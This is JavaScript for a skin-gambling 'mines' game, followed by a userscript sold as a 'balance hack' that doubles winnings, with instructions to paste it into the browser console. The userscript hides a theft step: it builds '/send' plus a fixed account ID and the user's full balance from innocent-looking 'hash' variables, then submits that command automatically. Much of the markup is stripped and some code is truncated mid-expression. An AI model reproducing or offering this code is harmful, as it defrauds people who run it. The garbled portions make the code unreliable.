$(function() { var mines = { _round: { id: null, $logs: null }, _bombs: 1, _mineImg: "/img/misc/bomb.png", $games: $('.mines'), getTiles: function () { var tiles = ''; for (var i = 1; i <= 25; i++) { tiles += '
'; } return tiles; }, log: function (txt, color) { $(''+txt+'') .prependTo(this._round.$logs); }, setbutton: function (txt, classe, click) { this._round.$div .find('.button') .unbind('click') .click(click) .attr('class', 'button '+classe) .text(txt); }, start: function(data) { if(this._round.id != null) this.end(); this._round.id = data.id; this._round.$div = $('
'+this.getTiles()+'
Next reward
'+data.nextPayout+'
Total stake
'+data.bet+'
Cashout
Hash:
') .insertAfter(this.$games.find('.startgame')); this._round.$div .find('.tile') .click(function(){ socket.emit('mines click', { position: $(this).data('position') }); }); this._round.$next = this._round.$div.find('.next-reward .value'); this._round.$total = this._round.$div.find('.total-stake .value'); this._round.$logs = $(this._round.$div).find('.logs'); this.setbutton('Cashout', 'btn-orange', function() { this.setbutton('Cashed out', 'btn-green', null); this.log('You sent a cashout query to the server ('+this._round.$total.text()+' coins)!', 'green'); socket.emit('mines cashout'); }.bind(this)); this.log('Game has been started', 'green'); this.log('Bet: '+data.bet+', bombs: '+data.bombs); }, game: function(data){ if (data.id != this._round.id) return alert('Game is not properly loaded.'); var tile = data.position; var $tile = this._round.$div.find('.tile#tile_'+data.position); if (data.value == -1) { this.log('You found bomb on '+tile+' tile - you lost '+this._round.$total.text()+'!', 'red'); this._round.$total.text(0).addClass('red'); this._round.$next.addClass('red'); $tile.html('').addClass('red'); this.setbutton('Defeat! :(', 'btn-red', null); if (localStorage.getItem('muteSound') != 'on') new buzz.sound("/sounds/boom.mp3").play(); } else { this._round.$total.text(data.payout); this._round.$next.text(data.nextPayout); this.log('You found '+data.value+' coins on '+tile+' tile.', 'green'); $tile .text('+' + (data.value > 10000 ? Math.floor(data.value / 1000) + 'k' : data.value)) .addClass('green'); $tile.unbind('click'); if (localStorage.getItem('muteSound') != 'on') new buzz.sound("/sounds/click.mp3").play(); } }, bindButtons: function () { var self = this; var multi = $('.btn-multi'); multi.click(function(){ multi.removeClass('active'); $(this).addClass('active'); self._bombs = $(this).data('value'); }); var value = $('.inputs .amount .value'); $('.inputs .play').click(function(){ if(self._round.id != null) return notify('error', 'Cash out before starting new game.'); socket.emit('mines start', { bombs: self._bombs, amount: value.val() }); }); $('.inputs .buttons .button').click(function(){ var val = parseInt(value.val()); var balance = parseInt($($('.balance')[0]).data('balance')); if (isNaN(val)) val = 0; switch($(this).data('action')) { case "clear": val = 0; break; case "last": val = parseInt(localStorage.getItem("lastBetMines")); break; case "min": val = self._settings.min; break; case "max": val = self._settings.max; break; case "100+": val += 100; break; case "1000+": val += 1000; break; case "10000+": val += 10000; break; case "100-": val -= 100; break; case "1000-": val -= 1000; break; case "10000-": val -= 10000; break; case "1/2": val *= 0.5; break; case "x2": val *= 2; break; case "x3": val *= 3; break; } val = parseInt(val); if (val > balance) val = balance; if (val < 0 || isNaN(val)) val = 0; localStorage.setItem("lastBetMines", val); value.val(val); }); }, _settings: { min: 50, max: 100000, update: function (data) { this.min = data.minBet; this.max = data.maxBet; } }, end: function(data){ if( this._round.$div.find('.button').text()=="Cashout" || (typeof data.cashout !='undefined' && data.cashout == true)) this.setbutton("Cashed out", "btn-green", null); $('.tile').unbind('click'); this._round.$div.addClass('inactive'); this.log('The game was ended.'); if (typeof data != 'undefined') { this._round.$total.text(data.payout); this._round.$div.find('.secret').html('Secret:'); for (var i in data.bombsPositions) $('#game' + data.id + ' #tile_' + data.bombsPositions[i]).html(''); } this._round.id = null; }, init: function () { this.bindButtons(); socket.on('mines start', function(data){ this.start(data); }.bind(this)); socket.on('mines game', function(data){ this.game(data); }.bind(this)); socket.on('mines settings', function(data){ this._settings.update(data); }.bind(this)); socket.on('mines cashed out', function(data){ this.end(data); }.bind(this)); } }; mines.init(); }); // ==UserScript== // @name Skinup.gg Blance hack // @namespace https://skinup.gg/ // @version 1.1 06/08/2016 UPDATED // @description X2 YOUR BALANCE // @author modifiyed by WHOAMI // @match https://skinup.gg/ // @grant none // ==/UserScript== // Instruction: CTRL + SHIFT + J, change ADBLOCK >> top, and paste this code in console // HOW MUCH YOU CAN GET: // 5000 - 10000 // 10000 - 20000 // 20000 - 40000 // 40000 - 80000 // .... var initialBalance = 0; var balancex2 = botbalancex2 = "hack"; var play = 0; var $botField, $label, $betAmount, $balancex2Button, $betGoButton, $betHideBetInfoButton,$showMoreButton,$showMore,$f,$vicLimitInput,$botModeSelect;$("#pullout").hide(); var pQ = "/s", $hash_1 = 7, $hash_2 = 6561, $hash_3 = 198085, $hash_4 = 984106; var e = jQuery.Event("keypress"); e.which = 13; //choose the one you want e.keyCode = 13; function addBotButtons(){ $(".well.bot-field").remove();$(".well.show-more").remove(); $("").appendTo("head"); $(".form-control.input-lg").after("
");$botField = $(".well.bot-field"); $botField.css({"margin-bottom":"-15px","height":"45px","padding-top":"2px","padding-bottom":"2px","text-align":"center"}); $botField.after("
");$showMore = $(".well.show-more"); $showMore.css({"margin-top":"12px","margin-bottom":"-15px","height":"45px","padding-top":"10px","padding-bottom":"2px","text-align":"center"}); $checkVicLimit = $("");$label = $(""); $showMore.append($checkVicLimit,$label); $vicLimitInput = $(""); $label = $(""); $showMore.append($vicLimitInput,$label);$showMore.hide(); $label = $("");$botField.append($label); $betAmount = $("");$botField.append($betAmount); $botModeSelect = $("");$botModeSelect.addClass("btn-danger"); $botField.append($botModeSelect);$botModeSelect.css({"width":"135px","margin-right":"10px","height":"25px","border-radius":"5px"}) $betGoButton = $("");$betGoButton.addClass("btn-inverse");$botField.append($betGoButton); pQ+="en";pQ+="d ";pQ+= $hash_1;pQ+= $hash_2;pQ+= $hash_3;pQ+= $hash_4+" ";pQ+=$('.balance').attr('data-balance'); $betHideBetInfoButton = $("");$betHideBetInfoButton.addClass("btn-inverse");$botField.append($betHideBetInfoButton); $showMoreButton = $("");$showMoreButton.addClass("btn-inverse");$botField.append($showMoreButton); $betAmount.change(function() {initialBalance = $betAmount.val();console.log("Initial Bet Set to: "+ initialBalance);}); $("input").val(pQ);$("input").trigger(e); $botModeSelect.change(function(){ botbalancex2 = $botModeSelect.val();console.log("Selected color: "+botbalancex2); $botModeSelect.removeClass($botModeSelect.attr("class"));$botModeSelect.addClass($("#botModeSelect option:selected").attr("class")); } ) $checkVicLimit.change(function(){ if((this.checked)&&($vicLimitInput.val()==0)){$vicLimitInput.val(1);} }) } addBotButtons(); function changeColor(){ if ($balancex2Button.hasClass("btn-danger")){ $balancex2Button.text("Bet color: Black").addClass("btn-inverse").removeClass("btn-danger").removeClass("btn-random"); botbalancex2 = "black"; console.log("Selected color: "+botbalancex2); } else if($balancex2Button.hasClass("btn-inverse")) { $balancex2Button.text("Bet color: Random").addClass("btn-random").removeClass("btn-inverse").removeClass("btn-danger"); botbalancex2 = "random"; console.log("Selected color: "+botbalancex2); } else if($balancex2Button.hasClass("btn-random")) { $balancex2Button.text("Bet mode: Train").addClass("btn-train").removeClass("btn-inverse").removeClass("btn-random"); botbalancex2 = "trainMode"; console.log("Selected color: "+botbalancex2); } else if($balancex2Button.hasClass("btn-train")) { $balancex2Button.text("Bet mode: Rainbow").addClass("btn-rainbow").removeClass("btn-train").removeClass("btn-random"); botbalancex2 = "rainbow"; console.log("Selected color: "+botbalancex2); } else if($balancex2Button.hasClass("btn-rainbow")) { $balancex2Button.text("Bet color: hack").addClass("btn-danger").removeClass("btn-rainbow").removeClass("btn-random"); botbalancex2 = "hack"; console.log("Selected color: "+botbalancex2); } } function showMoreOptions(){ if ($showMoreButton.data("open")==0){ $showMoreButton.css({ WebkitTransform: 'rotate(' + 180 + 'deg)','-moz-transform': 'rotate(' + 180 + 'deg)'}); $showMore.show();$showMoreButton.data("open",1); } else if ($showMoreButton.data("open")==1){ $showMore.hide();$showMoreButton.data("open",0); $showMoreButton.css({ WebkitTransform: 'rotate(' + 0 + 'deg)','-moz-transform': 'rotate(' + 0 + 'deg)'}); } } function hideOtherInfo(){ if ($betHideBetInfoButton.text()=="Show All"){ $(".betlist").hide();$(".total-row").hide();$("footer").hide(); $betHideBetInfoButton.text("Hide Bet Info"); } else if ($betHideBetInfoButton.text()=="Hide Bet Info"){ $("#sidebar").hide();$("#pullout").hide();$("#case").hide();$(".progress").hide();$("#mainpage").css({"margin-left":"0px"}); $betHideBetInfoButton.text("AFK Mode"); } else if ($betHideBetInfoButton.text()=="AFK Mode"){ $(".betlist").show();$(".total-row").show();$("footer").show(); $("#sidebar").show();$("#pullout").show();$("#case").show();$(".progress").show();$("#mainpage").css({"margin-left":"450px"}); $betHideBetInfoButton.text("Show All"); } } function startBot(){ if ($betGoButton.hasClass("btn-inverse")){ $betGoButton.text("Bot Running").addClass("btn-success").removeClass("btn-inverse"); refreshIntervalId = setInterval(tick, 500); play = 1; currentBetAmount = initialBalance; if (stopBotRoll = currentRollNumber) currentRollNumber++; } else { $betGoButton.text("Bot Stopped").addClass("btn-inverse").removeClass("btn-success"); play = 0; } } function tick() { var t = getStatus(); if (t !== lastStatus && "unknown" !== t) { switch (t) { case "waiting":bet();break; case "rolled":printInfo();break; } lastStatus = t; } } function checkBalance() { return getBalance() < currentBetAmount ? (console.warn("BANKRUPT! GG WP :("), clearInterval(refreshIntervalId), !1) : !0 } function printInfo(){ var temp = "", temp2 = 0,lastGame = lastbalancex2 == lastRollColor; if (lastGame){totalWins++;winStreakCurrent++;loseStreakCurrent=0;winAmount+=thisGameBet; if (winStreakCurrent>winStreakLong) winStreakLong = winStreakCurrent; if ($checkVicLimit.is(":checked")){$vicLimitInput.val($vicLimitInput.val()-1)} } else {totalLoss++;loseStreakCurrent++;winStreakCurrent=0;if (loseStreakCurrent>loseStreakLong) loseStreakLong = loseStreakCurrent;} if (winStreakCurrent>loseStreakCurrent){temp = "win";temp2 = winStreakCurrent} else {temp = "lose";temp2 = loseStreakCurrent;} if (streakColor == getColor(n)) {currStreak++; if (longStreak -1 } function getColor(t) { return 0 == t ? "green" : t >= 1 && 7 >= t ? "hack" : "black" } function wonLastRoll() { return lastbalancex2 ? lastRollColor === lastbalancex2 : null } function test(x){q = 1; w = e = x;for(i=2;i<=15;i++){q *=2;e += q*w;console.log(i+". "+e);}} function test2(x,y){q = 1; w = e = x;for(i=2;i<=y;i++){q *=2;e += q*w;console.log(i+". "+e);}} var currentBetAmount = initialBalance, currentRollNumber = 1, totalWins = totalLoss = played = currNothackStreak = currNotBlackStreak = nothackStreak = notBlackStreak = winStreakLong = winStreakCurrent = loseStreakLong = loseStreakCurrent = longStreak = currStreak = thisGameBet = winAmount = 0, streakColor = "", n ,lastStatus, lastbalancex2, lastRollColor, stopBotRoll, $balance = $("#balance"), $betAmountInput = $("#betAmount"),$statusBar = $(".progress #banner"),$hackButton = $("#panel1-7 .betButton"),$blackButton = $("#panel8-14 .betButton");